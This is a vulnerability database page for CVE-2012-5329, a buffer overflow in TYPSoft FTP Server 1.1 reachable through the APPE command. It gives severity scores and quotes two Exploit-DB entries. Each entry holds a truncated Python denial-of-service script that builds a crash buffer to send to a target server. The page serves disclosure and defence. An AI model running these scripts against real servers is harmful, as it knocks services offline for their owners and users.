CVE-2012-5329
published 2012-10-08CVE-2012-5329: Buffer overflow in TYPSoft FTP Server 1.1 allows remote authenticated users to cause a denial of service (application crash) via a long string in an APPE…
PriorityP422medium4CVSS 2.0
AVNACLAuSCNINAP
EXPLOIT
EPSS
8.77%
94.5th percentile
Buffer overflow in TYPSoft FTP Server 1.1 allows remote authenticated users to cause a denial of service (application crash) via a long string in an APPE command.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| typsoft | typsoft_ftp_server | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow
exploitdb·2012-03-19
CVE-2012-5329 TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow
TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow
---
source: https://www.securityfocus.com/bid/52554/info
TYPSoft FTP Server is prone to a buffer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected.
#!/usr/bin/python
import socket, sys
if len(sys.argv)!= 2:
print '\n\t[*] Usage: ./' + sys.argv[0] + ' '
sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../' + '\x41' *100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((
Exploit-DB
TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service
exploitdb·2012-03-17
CVE-2012-5329 TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service
TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service
---
#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default.
###############################################################################
import socket, sys
if len(sys.argv)!= 2:
print '\n\t[*] Usage: ./' + sys.argv[0] + ' '
sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET,
No writeups or analysis indexed.
2012-10-08
Published